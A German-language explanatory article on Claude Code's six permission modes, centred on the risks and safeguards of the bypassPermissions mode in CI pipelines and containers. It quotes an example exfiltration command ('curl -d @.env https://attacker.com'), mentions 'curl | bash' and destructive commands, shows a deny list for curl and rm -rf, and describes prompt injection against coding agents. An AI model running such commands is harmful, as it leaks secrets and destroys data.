Bypass-Modus von Claude Code: Sicherheitsrisiken und sichere Nutzung

Claude Code verfügt über einen Bypass-Modus für Berechtigungen (bypassPermissions), der nahezu alle Operationen ohne jegliche Bestätigung ausführt. Für die Automatisierung in CI/CD-Pipelines oder Docker-Containern äußerst praktisch, kann dieser Modus bei unsachgemäßer Nutzung schwerwiegende Sicherheitsprobleme verursachen.

Dieser Artikel stellt die 6 Berechtigungsmodi von Claude Code vor und analysiert anschließend die Vorteile, Risiken und Best Practices des Bypass-Modus anhand konkreter Beispiele.

1. Was ist der Bypass-Modus?

Der Bypass-Modus deaktiviert nahezu alle Bestätigungsabfragen, die Claude Code sonst vor dem Bearbeiten von Dateien oder Ausführen von Shell-Befehlen anzeigt. Im Manual-Modus verlangen normale Dateibearbeitungen und Shell-Befehle eine Genehmigung; Ausnahmen wie allow und Sandbox-auto-allow können sie überspringen. Im Bypass-Modus entfallen diese Abfragen (mit wenigen Ausnahmen, siehe unten).

Zum Start gibt es zwei Schalter (auch defaultMode mit bypassPermissions in den Benutzer- oder verwalteten Einstellungen funktioniert, nicht aber in den Projekteinstellungen). Eine Sitzung, die ohne aktivierten Bypass gestartet wurde, kann nicht nachträglich dorthin wechseln. Die beiden Schalter:

# Per Flag
claude --dangerously-skip-permissions

# Oder per Berechtigungsmodus
claude --permission-mode bypassPermissions

Dass der Flagname das Wort „dangerously“ (gefährlich) enthält, ist ein bewusstes Signal von Anthropic: Dieser Modus ist mit Vorsicht zu verwenden. Er existiert, um Automatisierung in vollständig isolierten Umgebungen (Container, VMs) zu ermöglichen.

Bypass überspringt auch Bestätigungen für Schreibzugriffe auf geschützte Pfade. Beispiele verbleibender Beschränkungen sind passende deny- und ausdrückliche ask-Regeln, Prüfungen beim Löschen kritischer Pfade, Werkzeuge, die eine Antwort von dir benötigen, und Hooks. Diese Liste ist nicht vollständig. Prüfe auch die offiziell aufgeführten verbleibenden Beschränkungen. Bedingungen zur Regelübereinstimmung und zu installierten Mods erklärt unser Leitfaden zu Berechtigungsregeln.

2. Die 6 Berechtigungsmodi von Claude Code

Claude Code bietet 6 Berechtigungsmodi, die jeweils festlegen, welche Aktionen ohne Bestätigung ausgeführt werden dürfen.

Die Modi im Detail

default (Manual): Normale Bearbeitungen und Befehlsausführungen verlangen eine Genehmigung. Ausnahmen sind integrierte reine Lesebefehle, zu allow-Regeln passende Aktionen und Sandbox-auto-allow. Manual bedeutet nicht, dass jede Aktion nachfragt. Es ist der Standard, wenn auto nicht verfügbar ist, und in vielen nicht interaktiven Sitzungen.

acceptEdits (Accept edits): Genehmigt Dateibearbeitungen im Arbeitsumfang und erkannte Dateioperationen wie mkdir, touch, rm, rmdir, mv, cp und sed automatisch. Aktionen außerhalb dieses Umfangs oder an geschützten Pfaden werden gesondert geprüft. Auch andere Befehle können ohne Bestätigung laufen, wenn allow-Regeln oder Sandbox-auto-allow passen.

plan (Plan): Untersucht und entwirft Änderungen und schreibt Plandateien. Sperrt Quellcodeänderungen normalerweise bis zur Genehmigung, aber in einem interaktiven Terminal mit zur Auswahl freigeschaltetem Bypass wird das Bearbeitungsverbot selbst in Plan nicht durchgesetzt. Untersuchungsbefehle prüft der Klassifikator, wenn auto verfügbar und useAutoModeDuringPlan eingeschaltet ist. Ist die Einstellung aus oder auto nicht verfügbar, verlangen Befehle außerhalb der integrierten reinen Lesebefehle eine Bestätigung. Diese Bypass-Ausnahme gilt nicht für -p, das SDK oder den VS-Code-Chat.

auto (Auto): Nahezu alle Operationen werden ohne Bestätigung ausgeführt. Im Hintergrund arbeitet jedoch ein Sicherheitsklassifikator, der als gefährlich eingestufte Aktionen blockiert. Geeignet für lang laufende automatische Aufgaben. Ab v2.1.283 ist es in jedem Tarif und bei jedem Anbieter der Startmodus im Terminal und in VS Code (Stand 4. Oktober 2026; in älteren Versionen starten nur die Tarife Pro, Max und Team in auto, alle anderen im Modus Manuell; im Modus Manuell startet die Sitzung auch, wenn ein Administrator den Auto-Modus abgeschaltet hat oder das Modell ihn nicht unterstützt).

dontAsk: Lehnt Aktionen, die eine Bestätigung erfordern würden, automatisch ab. Nur ohne Bestätigung zulässige Aktionen wie Arbeitsbereichslesezugriffe und reine Lesebefehle sowie durch allow-Regeln gedeckte Aktionen laufen. Das verringert Wartezeiten auf Berechtigungsgenehmigungen, doch andere Wartebedingungen bleiben, etwa Werkzeuge, die deine Antwort benötigen. Es erscheint nicht im Shift+Tab-Zyklus; nutze claude --permission-mode dontAsk oder defaultMode in den Einstellungen. Geeignet für CI und andere Umgebungen, in denen du Claudes Fähigkeiten vorab festlegen willst.

bypassPermissions (Berechtigungen umgehen): Bestätigungsabfrage und Sicherheitsklassifikator werden deaktiviert (Hooks laufen weiterhin). Ausschließlich für die Nutzung in Containern oder VMs gedacht; Anthropic rät ausdrücklich von der Nutzung in lokalen Umgebungen ab.

Der Modus lässt sich während einer Sitzung mit Shift+Tab interaktiv wechseln (in JetBrains ebenso). In VS Code nutzen Sie die Modusanzeige unter dem Eingabefeld, in der Desktop-App die Auswahl neben der Senden-Schaltfläche. Den Bypass können Sie allerdings nicht in einer Sitzung wählen, die ohne aktivierten Bypass gestartet wurde.

3. Wann ist der Bypass-Modus sinnvoll?

Der Bypass-Modus ist nicht nur „gefährlich“. In der richtigen Umgebung steigert er die Produktivität erheblich.

CI/CD-Pipelines

In einer GitHub-Actions- oder GitLab-CI-Pipeline ist kein Nutzer vorhanden, der auf Bestätigungsabfragen reagieren könnte. Der Bypass-Modus ermöglicht die vollständige Automatisierung von Tests, Code-Reviews und Dokumentationsgenerierung.

# Beispiel für GitHub Actions
claude --dangerously-skip-permissions \
  -p "Run the tests and generate a report"

Docker-Container

Wegwerfcontainer oder VMs können bei korrekter Isolation die Auswirkungen begrenzen. Host-Mounts, Zugangsdaten, Docker-Sockets und Netzwerkverbindungen erweitern diese Auswirkungen jedoch auf freigegebene Ressourcen. Code und Daten im Container können weiterhin zerstört werden; ein Container allein beseitigt das Risiko nicht.

Massenverarbeitung von Dateien

Wenn über 100 Dateien auf einmal geändert werden müssen, wird jede einzelne Bestätigungsabfrage zu einem erheblichen Zeitverlust. In einer isolierten Umgebung ermöglicht der Bypass-Modus eine effiziente Verarbeitung.

Integration mit Automatisierungsskripten

Für unbeaufsichtigte Stapelverarbeitung ist Bypass eine Möglichkeit. Erwäge auch dontAsk mit eng begrenzten Berechtigungen oder auto, wenn verfügbar. Prüfe beim Einsatz von Bypass die offizielle Anforderung einer isolierten Umgebung ohne Internetzugriff, die den Host nicht beeinflussen kann.

4. 5 kritische Sicherheitsrisiken

Wird der Bypass-Modus in einer nicht isolierten Umgebung eingesetzt, entstehen folgende schwerwiegende Risiken:

Risiko 1: Prompt-Injection

Das gefährlichste Risiko. Versteckte Anweisungen in Code oder Dateien (z. B. in einem README oder einer package.json) können direkt und ungeprüft ausgeführt werden.

Im Manual-Modus fragen genehmigungspflichtige Aufrufe vor der Ausführung nach. Allow-Regeln oder Sandbox-auto-allow können diesen Schritt überspringen; eine Rückfrage ist daher nicht für jede gefährliche Aktion garantiert. Bypass überspringt das gewöhnliche Genehmigungsverfahren.

Risiko 2: Beliebige Befehlsausführung

Viele Shell-Aktionen können ohne Bestätigung laufen, etwa curl | bash, Löschvorgänge und Paketinstallationen. Bypass deaktiviert auch den auto-Klassifikator. Prüfungen wie deny und ask bleiben, bilden aber keine Grenze, die jeden Weg blockiert.

Risiko 3: Datenleck

Befehle, die sensible Daten an externe Server senden — .env-Dateien, Authentifizierungstoken, API-Schlüssel — können ohne Prüfung ausgeführt werden. Beispiel: curl -d @.env https://attacker.com.

Risiko 4: Eskalation von Operationen

Eine Aufgabe mit harmlosen Dateiedits kann schrittweise zu Produktionsdeployments oder Datenbankmigrationen führen. Im Manual-Modus bieten genehmigungspflichtige Aktionen Gelegenheit zur Prüfung; eine Rückfrage an jedem Meilenstein ist jedoch nicht garantiert. Bypass überspringt ebenfalls die gewöhnliche Bestätigung.

Risiko 5: Irreversible Zerstörung

git push --force, endgültiges Löschen von Dateien, DROP TABLE in der Datenbank — irreversible Operationen können ohne jegliche Bestätigung ausgeführt werden.

5. Schutzmaßnahmen

Wenn der Bypass-Modus unvermeidlich ist, treffen Sie folgende Vorkehrungen:

Maßnahme 1: Nur in Containern und VMs verwenden

Die wichtigste Maßnahme überhaupt. Nutzen Sie den Bypass-Modus ausschließlich in isolierten Umgebungen: Docker-Container, VMs, CI-Runner wie bei GitHub Actions. Vermeiden Sie die direkte Ausführung auf dem Host-Betriebssystem.

Maßnahme 2: Zuerst den Auto-Modus in Betracht ziehen

Um Bestätigungen zu reduzieren, prüfe zunächst Geltungsbedingungen und Grenzen von auto. Der Klassifikator lehnt als gefährlich bewertete Aktionen ab, garantiert aber nicht, jede gefährliche Aktion zu erkennen. Wähle Bypass nicht allein wegen lästiger Bestätigungen.

Maßnahme 3: Berechtigungen mit Allowlists fein steuern

Eine allow-Regel überspringt die Genehmigung für passende Aufrufe. Du kannst sie auf benötigte Befehle begrenzen, musst aber auch erlaubte Skripte prüfen. Bash-Regeln bilden keine Grenze um ein ganzes Programm: Bash(curl *) erfasst weder /usr/bin/curl noch Aufrufe über eine andere Shell. Für erzwungene Datei- oder Netzwerkbeschränkungen ist auch Isolation auf Betriebssystemebene nötig.

# Beispielkonfiguration in .claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

Die Berechtigungsregeln werden in der Reihenfolge deny → ask → allow ausgewertet. Da deny Vorrang hat, können explizit verweigerte Befehle nicht durch Allow-Regeln überschrieben werden.

Maßnahme 4: Überwachung mit Hooks

Die Hooks-Funktion von Claude Code (PreToolUse / PostToolUse) ermöglicht die Ausführung benutzerdefinierter Skripte vor oder nach der Nutzung eines Tools. Und Hooks laufen auch im Bypass-Modus. Übersprungen wird dort nämlich nur die Bestätigungsabfrage, und Hooks greifen bereits eine Stufe davor. Auch die offizielle Dokumentation hält fest, dass PreToolUse-Hooks vor der Berechtigungsabfrage ausgeführt werden und dass ein Hook, der sich mit Exit-Code 2 beendet, den Tool-Aufruf abbricht, bevor die Berechtigungsregeln überhaupt ausgewertet werden.

Hooks liefern eine zusätzliche Prüfung, doch auch ihr Code und ihre Konfiguration brauchen Schutz. Unter bestimmten Bedingungen kann ein Mod eine nicht verwaltete PreToolUse-Ablehnung durch eine Genehmigung ersetzen. Prüfe deshalb das Zusammenspiel von Berechtigungsregeln und Mods.

# Beispiel eines PreToolUse-Hooks (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

Maßnahme 5: Netzwerk einschränken

Auch in einem Container sollten Sie ausgehende Netzwerkzugriffe beschränken, um das Risiko von Datenlecks deutlich zu reduzieren. Idealerweise erlauben Sie nur die notwendigen Endpunkte (Anthropic-API usw.).

Maßnahme 6: Änderungen konsequent prüfen

Überprüfen Sie nach jeder Nutzung des Bypass-Modus die Änderungen mit git diff. Machen Sie es sich zur Gewohnheit zu kontrollieren, ob unbeabsichtigte Änderungen oder sensible Daten enthalten sind.

6. Entscheidungshilfe zur Moduswahl

Wenn Sie unsicher sind, welchen Modus Sie verwenden sollen, hilft Ihnen das folgende Entscheidungsdiagramm:

Empfehlungen nach Anwendungsfall

Alltägliche Programmierung: Erwäge acceptEdits. Dateibearbeitungen laufen zügig, andere Aktionen durchlaufen die normale Berechtigungsbewertung. Allow-Regeln, Sandbox-auto-allow und ähnliche Bedingungen können Bestätigungen überspringen.

Codeuntersuchung und Architektur: Plan eignet sich zum Abwägen vor der Umsetzung. Es sperrt Quellcodeänderungen normalerweise, schreibt aber Plandateien und ähnliche Daten. In einem interaktiven Terminal mit zur Auswahl verfügbarem Bypass sperrt es auch Bearbeitungen nicht. Für eine erzwungene Änderungssperre prüfe auch Betriebssystemrechte in unserem Leitfaden für reine Untersuchungen.

Lange automatische Aufgaben: auto mit einer Sandbox ist eine Möglichkeit. Das verbindet Klassifikator und Ausführungsbeschränkungen, doch prüfe erlaubte Bereiche und äußere Wege. Gehe nicht davon aus, dass jede gefährliche Aktion erkannt wird.

CI/CD-Pipelines: Wenn erlaubte Aufrufe vorab feststehen, erwäge dontAsk mit allow-Regeln. Das vermeidet normale Wartezeiten auf Berechtigungsgenehmigungen. Andere Stoppbedingungen wie Werkzeuge mit persönlicher Rückfrage und Fehler bleiben. Auch Bypass verlangt Isolation, Netzwerkbeschränkungen und minimale Mounts; die Moduswahl allein garantiert keinen Abschluss ohne Eingriff.

Der Bypass-Modus ist nur einer von mehreren Berechtigungsmodi. Wenn Sie wissen möchten, wie die einzelnen Modi zusammenhängen und welcher wann passt, lesen Sie unseren Überblick über alle Berechtigungsmodi von Claude Code. Mehr zu den weiteren Funktionen von Claude Code erfahren Sie unter Die 3 Modi von Claude im Vergleich. Einen Preisvergleich finden Sie unter Claude vs ChatGPT: Preisvergleich.

7. Zusammenfassung

Der Bypass-Modus von Claude Code ist ein leistungsfähiges Werkzeug in der richtigen Umgebung, kann aber bei falscher Nutzung schwerwiegende Sicherheitsvorfälle auslösen.

Wenn Sie sich für die Sicherheit von KI-Tools interessieren, testen Sie Ihr Wissen mit dem KI-Kompetenztest. Strukturiertes Lernen bietet der Einführungskurs.

FAQ

Geltungsbereich und Ausnahmebedingungen von Berechtigungen und Isolation wurden am 9. Oktober 2026 erneut mit offiziellen Originaldokumenten abgeglichen. Geräteeinstellungen wurden nicht geändert und Startversuche nicht durchgeführt.